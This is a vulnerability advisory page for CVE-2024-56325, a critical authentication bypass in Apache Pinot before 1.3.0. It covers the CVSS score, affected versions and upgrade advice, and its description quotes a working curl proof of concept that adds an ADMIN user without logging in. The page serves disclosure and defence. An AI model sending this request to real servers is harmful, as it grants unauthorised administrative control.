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CVE-2024-56325

Apache Pinot authentication bypass

9.8 CRITICALEPSS 80.2%
  1. Published1 Apr 2025

Description

Authentication Bypass Issue If the path does not contain / and contain., authentication is not required. Expected Normal Request and Response Example curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"} http://{server_ip}:9000/users Return: {"code":401,"error":"HTTP 401 Unauthorized"} Malicious Request and Response Example curl -X POST -H "Content-Type: application/json" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}' http://{serverip}:9000/users; http://{serverip}:9000/users; . Return: {"users":{}} A new user gets added bypassing authentication, enabling the user to control Pinot.

CVSS 3.1 breakdown

Attack vectorNetwork
Attack complexityLow
Privileges requiredNone
User interactionNone
ScopeUnchanged
ConfidentialityHigh
IntegrityHigh
AvailabilityHigh
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Affected products

Apache Pinot< 1.3.0

Remediation

Fixed in
Apache Pinot≥ 1.3.0

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Frequently asked

Is CVE-2024-56325 being actively exploited?

CVE-2024-56325 is not in the CISA KEV catalog. Its EPSS exploit probability is 80.2%.

How severe is CVE-2024-56325?

CVE-2024-56325 has a CVSS 3.1 base score of 9.8, rated critical. EPSS estimates a 80.2% probability of exploitation.

Which products are affected by CVE-2024-56325?

Affected products include Apache Pinot.

How do I fix CVE-2024-56325?

Upgrade affected software to a fixed version, for example Apache Pinot 1.3.0 or later, then confirm no affected versions remain in your inventory.

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